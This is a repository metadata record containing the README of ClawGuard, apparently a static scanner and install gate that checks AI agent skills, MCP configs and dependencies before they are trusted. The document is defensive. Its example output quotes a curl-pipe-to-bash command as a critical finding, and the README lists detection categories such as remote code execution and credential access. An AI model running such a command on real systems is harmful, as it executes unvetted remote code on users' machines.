{"id":49714366,"url":"https://github.com/denial-web/clawguard","last_synced_at":"2026-05-30T06:01:21.608Z","repository":{"id":356461225,"uuid":"1232596851","full_name":"denial-web/clawguard","owner":"denial-web","description":"Governance and security scanner for OpenClaw skills, ClawHub installs, MCP configs, and skill dependencies.","archived":false,"fork":false,"pushed_at":"2026-05-26T06:20:32.000Z","size":15222,"stargazers_count":0,"open_issues_count":2,"forks_count":1,"subscribers_count":0,"default_branch":"main","last_synced_at":"2026-05-26T06:27:17.596Z","etag":null,"topics":["ai-agents","clawhub","governance","mcp","openclaw","scanner","security","supply-chain"],"latest_commit_sha":null,"homepage":"https://github.com/denial-web/clawguard#readme","language":"JavaScript","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/denial-web.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":"SECURITY.md","support":null,"governance":null,"roadmap":"docs/ROADMAP_v0.4.0.md","authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null}},"created_at":"2026-05-08T04:53:31.000Z","updated_at":"2026-05-26T06:20:32.000Z","dependencies_parsed_at":null,"dependency_job_id":"da7acbe0-1881-4ae0-933d-6888ea81c418","html_url":"https://github.com/denial-web/clawguard","commit_stats":null,"previous_names":["denial-web/clawguard"],"tags_count":53,"template":false,"template_full_name":null,"purl":"pkg:github/denial-web/clawguard","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/denial-web%2Fclawguard","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/denial-web%2Fclawguard/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/denial-web%2Fclawguard/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/denial-web%2Fclawguard/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/denial-web","download_url":"https://codeload.github.com/denial-web/clawguard/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/denial-web%2Fclawguard/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":33681809,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-05-26T15:22:16.424Z","status":"online","status_checked_at":"2026-05-30T02:00:06.278Z","response_time":92,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["ai-agents","clawhub","governance","mcp","openclaw","scanner","security","supply-chain"],"created_at":"2026-05-08T19:04:36.117Z","updated_at":"2026-05-30T06:01:21.339Z","avatar_url":"https://github.com/denial-web.png","language":"JavaScript","funding_links":[],"categories":[],"sub_categories":[],"readme":"# ClawGuard\n\n[![npm version](https://img.shields.io/npm/v/@denial-web/clawguard.svg)](https://www.npmjs.com/package/@denial-web/clawguard)\n[![license: MIT](https://img.shields.io/badge/license-MIT-green.svg)](LICENSE)\n\n**ClawGuard is the policy and safety gate for OpenClaw-style skills, ClawHub installs, MCP configs, dependencies, and agent tools.** It answers one question before you trust a skill:\n\n\u003e What could this skill do if I trusted it?\n\nClawGuard sits between a candidate skill and your trusted skill folder. Search and discovery stay native to OpenClaw, ClawHub, Hermes Agent, or any other runtime; ClawGuard is the gate before install.\n\n```text\nnative search/discovery\n        ↓\ncandidate skill bundle\n        ↓\nClawGuard policy gate\n        ↓\nallow / approval request / block\n        ↓\ntrusted skill folder\n```\n\n\u003e **ClawGuard Core vs ClawGuard Agent.** This README covers ClawGuard Core (scanner, gate, installer, monitor, GitHub Action). ClawGuard also includes an optional governed agent runtime — see [docs/AGENT.md](docs/AGENT.md). Either can be used without the other.\n\nThis project is compatible with OpenClaw-style workflows, but it is not affiliated with OpenClaw or Hermes Agent.\n\n## Quick Start\n\nTest the published package from a folder outside this repository:\n\n```bash\nmkdir -p ~/clawguard-test\ncd ~/clawguard-test\n\nnpx --yes --package @denial-web/clawguard@beta clawguard --version\nnpx --yes --package @denial-web/clawguard@beta clawguard init --profile local-first\nnpx --yes --package @denial-web/clawguard@beta clawguard demo quickstart\nnpx --yes --package @denial-web/clawguard@beta clawguard scan /path/to/skill --config ./.clawguard.json\n```\n\nWhen working inside this source checkout, use local commands instead:\n\n```bash\nnode src/cli.js --version\nnode src/cli.js scan examples/risky-skill\n```\n\nSee [docs/EXTERNAL_TESTING.md](docs/EXTERNAL_TESTING.md) for a clean teammate smoke test and [docs/FIVE_MINUTE_TESTER_KIT.md](docs/FIVE_MINUTE_TESTER_KIT.md) for handing it to someone on another PC.\n\n## Benchmarks\n\nReproducible evidence for beta testers — not marketing slides.\n\n| Report | What it measures | Regenerate |\n|--------|------------------|------------|\n| [Scanner benchmark](docs/SCANNER_BENCHMARK.md) ([HTML](https://denial-web.github.io/clawguard/scanner-benchmark.html)) | `clawguard check` precision/recall on a labeled corpus under `bench/corpus/truth.json` | `npm run bench` |\n| [Agent benchmark](docs/AGENT_BENCHMARK_v1.0.0-beta.9.md) | Governed agent shim vs naive baseline; full LLM-judge vs `gpt-4o` via Doctrine Lab (see report) | `npm run bench:agent` / `scripts/run-agent-benchmark.sh` |\n\nOptional competitor scanners (skipped cleanly when clones/packages are unavailable): `npm run bench:competitors`.\n\nDoctrine Lab trace export from scanner blocks: `CLAWGUARD_DOCTRINE_EXPORT=1 npm run bench:scanner` (requires local Doctrine Lab on `127.0.0.1:8000`).\n\n## Core Commands\n\nScan a candidate skill:\n\n```bash\nnpx --package @denial-web/clawguard clawguard scan ./path/to/skill\n```\n\nUse gate mode before installing or trusting a skill:\n\n```bash\nnpx --package @denial-web/clawguard clawguard gate ./path/to/skill --policy governed\n```\n\nGate mode exits with `0` for allow, `1` for warn/review/sandbox decisions, and `2` for block.\n\nGet a stable agent-facing decision payload (`clawguard.check.v1`) that other tools can route on:\n\n```bash\nnpx --package @denial-web/clawguard clawguard check ./path/to/skill --policy governed --json\n```\n\n`check` returns one of `allow`, `manual_review`, or `block` with a matching `recommendedAction` (`auto_install`, `require_user_approval`, `reject`) and the same `0`/`1`/`2` exit codes as `gate`. Pass `--write-report \u003cpath\u003e` to also persist the full scan report alongside the compact decision. The output is frozen to [schemas/clawguard-check.schema.json](schemas/clawguard-check.schema.json); see [docs/INTEGRATION_SPEC.md](docs/INTEGRATION_SPEC.md#clawguard-check-contract).\n\nUse install mode to copy a skill only after the gate allows it:\n\n```bash\nnpx --package @denial-web/clawguard clawguard install ./path/to/skill --to ./.agents/skills --policy governed\n```\n\nInstall mode never executes scanned files or installs dependencies. It refuses warn/review/sandbox/block decisions before copying.\n\nInstall directly from an HTTPS tarball URL (the same gate, but the bundle is fetched into a quarantine first):\n\n```bash\nnpx --package @denial-web/clawguard clawguard install https://example.com/skill.tar.gz \\\n  --to ./.agents/skills/my-skill --policy governed --integrity sha256-AbCd...=== --json\n```\n\nThe wrapper downloads into `.clawguard/quarantine/\u003crun-id\u003e/`, never executes any code, rejects symlinks and path-traversal entries, validates redirects against private/loopback hosts, and only copies into the trusted destination once `check` returns `allow`. On `manual_review` it writes a `clawguard.approval.v1` record and retains the quarantine; finish later with `clawguard install --resume \u003capproval-id\u003e`. URL installs support HTTPS `.tar.gz` / `.tgz`, `.zip`, and `clawhub:\u003cslug\u003e@\u003cversion\u003e` (resolved via `.clawhub/lock.json`, including GitHub `tree/` sources). See [docs/INSTALL_WRAPPER_SPEC.md](docs/INSTALL_WRAPPER_SPEC.md) and [schemas/clawguard-install.schema.json](schemas/clawguard-install.schema.json).\n\nFor agent runtimes that already manage discovery and trusted folders, gate only the install step:\n\n```bash\nnpx --package @denial-web/clawguard clawguard openclaw install ./candidate-skill --to ./.agents/skills --approval-out ./.clawguard/approvals.jsonl\nnpx --package @denial-web/clawguard clawguard hermes install ./candidate-skill --to ~/.hermes/skills --approval-out ./.clawguard/approvals.jsonl\n```\n\nTo detect bypass attempts after an agent writes directly into a trusted folder, run monitor mode:\n\n```bash\nnpx --package @denial-web/clawguard clawguard monitor ./.agents/skills \\\n  --approvals ./.clawguard/approvals.jsonl \\\n  --decisions ./.clawguard/decisions.jsonl \\\n  --quarantine ./.clawguard/quarantine \\\n  --audit-log ./.clawguard/monitor.jsonl\n```\n\nCombine skill risk, model routing, and budget into one agent run plan:\n\n```bash\nnpx --package @denial-web/clawguard clawguard run-plan \\\n  --config .clawguard.json \\\n  --skill ./path/to/skill \\\n  --task \"Install and run this skill\" \\\n  --privacy medium \\\n  --tool-risk high \\\n  --approval-out ./.clawguard/approvals.jsonl\n```\n\nRun plans are non-destructive: they produce one combined governance decision and can write one approval request with skill, model, and budget context. See [docs/RUN_PLAN.md](docs/RUN_PLAN.md).\n\nRun the local web demo:\n\n```bash\nnpm run web\n```\n\nOpen `http://127.0.0.1:4173`. The demo supports pasted `SKILL.md` content, local folder scanning, and HTML report download. See [docs/WEB_DEMO.md](docs/WEB_DEMO.md).\n\n## What It Checks\n\n- Remote code download or execution\n- OpenClaw `SKILL.md` frontmatter and declared requirements\n- Metadata mismatches such as undeclared env vars, binaries, config files, network access, or install steps\n- ClawHub lockfile and origin metadata drift\n- Dependency manifests and lockfiles for npm and Python skill bundles\n- MCP/plugin config risk in `.cursor/mcp.json`, `.openclaw/mcp.json`, `.openclaw/plugins.json`, and `mcp.json`\n- OpenClaw `openclaw.plugin.json` package manifests and runtime metadata\n- Credential and secret references\n- Destructive shell commands\n- Prompt-injection style instructions\n- Broad filesystem, shell, browser, email, calendar, Slack, or GitHub permissions\n- External network access\n- Estimated token spend before expensive model calls\n- Dry-run physical device plans for cameras, drones, robots, IoT, and industrial OT\n\n## Configuration\n\nClawGuard automatically looks for `.clawguard.json` from the scan target upward. Start from [.clawguard.example.json](.clawguard.example.json).\n\n```json\n{\n  \"policy\": \"governed\",\n  \"failOn\": \"critical\",\n  \"failOnPolicy\": true,\n  \"policyFailOn\": \"manual_review\",\n  \"maxFileSizeBytes\": \"1mb\",\n  \"maxFindingsPerRulePerFile\": 5,\n  \"suppressions\": []\n}\n```\n\nPolicy presets:\n\n- `personal` — warn on medium, review high, block critical.\n- `governed` — review medium, sandbox high, block critical.\n- `enterprise` — review medium, require stronger approval for high, block critical and undeclared secret access.\n\nStarter profiles are documented in [docs/CONFIG_TEMPLATES.md](docs/CONFIG_TEMPLATES.md). Stable rule IDs and suppression guidance are in [docs/RULES.md](docs/RULES.md). The risk and governance decision model is in [docs/POLICY_MODEL.md](docs/POLICY_MODEL.md).\n\n## GitHub Action\n\n```yaml\n- id: clawguard\n  uses: denial-web/clawguard@v1\n  with:\n    target: skills\n    policy: governed\n    fail-on-policy: \"true\"\n    sarif: clawguard.sarif\n    check: \"true\"\n    check-output: clawguard.check.json\n\n- if: steps.clawguard.outputs.decision == 'manual_review'\n  run: echo \"needs human review: ${{ steps.clawguard.outputs.summary }}\"\n```\n\nThe Action emits both SARIF (for GitHub code scanning, upload with `github/codeql-action/upload-sarif@v3`) and a `clawguard.check.v1` JSON payload at `check-output`, plus step outputs `decision`, `risk`, `summary`, `recommended-action`, `check-json-path`, and `sarif-path` so downstream steps can branch on the decision without parsing SARIF. Full workflow examples in [docs/GITHUB_ACTION.md](docs/GITHUB_ACTION.md).\n\n## Example Output\n\n```text\nClawGuard scan: /path/to/examples/risky-skill\nRisk: CRITICAL (100/100)\nPolicy: block (personal)\nFiles scanned: 1\nFiles skipped: 0\nFail threshold: critical\n\nFindings:\n- [CRITICAL] Downloads or executes remote code\n  SKILL.md:10\n  Evidence: curl https://example.com/install.sh | bash\n  Recommendation: Review the download source manually and run only in a sandbox.\n```\n\nJSON output for automation: `--json`. SARIF for GitHub code scanning: `--sarif clawguard.sarif`. HTML for human review: `--html clawguard.html`.\n\n## Approval Workflow\n\nClawGuard can write approval requests for OpenClaw, Hermes, Telegram, WhatsApp, or any owner channel before files reach a trusted folder. The full local approval loop runs without external credentials:\n\n```bash\nnpx --package @denial-web/clawguard clawguard approvals demo-flow --keep\n```\n\nSee [docs/AGENT_MESSAGING_SETUP.md](docs/AGENT_MESSAGING_SETUP.md) for Telegram, WhatsApp, and agent-native messaging.\n\n## Security Model\n\nClawGuard is a static scanner. It reads skill files and reports risky patterns; it does not execute skill code, install dependencies, or contact external services.\n\nGood defaults:\n\n- No runtime dependencies in the core scan path\n- Skips symbolic links\n- Skips files larger than 1 MB by default\n- Supports JSON, SARIF, and HTML output for automation and review\n- Uses explainable rules instead of hidden scoring\n\nLimits:\n\n- Static analysis can miss novel or heavily obfuscated attacks.\n- Findings are risk signals, not proof of malicious intent.\n- A clean result does not guarantee a skill is safe.\n\nSee [docs/THREAT_MODEL.md](docs/THREAT_MODEL.md) for the current threat model.\n\n## Going Further\n\nOptional surfaces, each documented separately:\n\n- [docs/AGENT.md](docs/AGENT.md) — ClawGuard Agent, the optional governed AI agent runtime built on ClawGuard.\n- [docs/PORTABLE_AGENT_SETUP.md](docs/PORTABLE_AGENT_SETUP.md) — prepare a ClawGuard workspace for OpenClaw, Hermes, or PicoClaw on another PC.\n- [docs/SOP_PACKS.md](docs/SOP_PACKS.md) — SOP packs for small-business and financial-services workflows.\n- [docs/FINANCIAL_AI_GOVERNOR.md](docs/FINANCIAL_AI_GOVERNOR.md) — early financial-services AI governor (read/draft/recommend track).\n- [docs/PHYSICAL_DEVICE_AI_GOVERNOR.md](docs/PHYSICAL_DEVICE_AI_GOVERNOR.md) — planning track for camera, drone, robot, IoT, and OT actions.\n- [docs/CURSOR_USB_HANDOFF.md](docs/CURSOR_USB_HANDOFF.md) — offline USB handoff kit for teammates.\n- [docs/MOBILE_APPROVAL_HANDOFF.md](docs/MOBILE_APPROVAL_HANDOFF.md) — Android/iOS approval handoff kit.\n- [docs/HUGGINGFACE.md](docs/HUGGINGFACE.md) — publish a safe demo Space.\n\nEngineering and integration references:\n\n- [docs/ARCHITECTURE.md](docs/ARCHITECTURE.md) — product and module architecture.\n- [docs/INTEGRATION_SPEC.md](docs/INTEGRATION_SPEC.md) — OpenClaw, ClawHub, GitHub Action, web, and MCP integration plans.\n- [docs/REPORT_SCHEMA.md](docs/REPORT_SCHEMA.md) — versioned JSON output contract.\n- [docs/STRATEGIC_REVIEW.md](docs/STRATEGIC_REVIEW.md) — positioning, competitive landscape, and the Core vs Agent split.\n- [docs/COMPARISON.md](docs/COMPARISON.md) — ClawGuard vs the other six \"ClawGuard\" projects on GitHub.\n- [docs/INSTALL_WRAPPER_SPEC.md](docs/INSTALL_WRAPPER_SPEC.md) — `clawguard install \u003curl\u003e` quarantine and approval flow (spec).\n- [docs/PROJECT_REVIEW.md](docs/PROJECT_REVIEW.md) — current hardening and launch priorities.\n\n## Positioning\n\nClawGuard is a companion project, not a fork or replacement. The goal is to make OpenClaw-style ecosystems safer by giving users a fast, explainable review before installing third-party skills.\n\n## License\n\nMIT\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fdenial-web%2Fclawguard","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fdenial-web%2Fclawguard","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fdenial-web%2Fclawguard/lists"}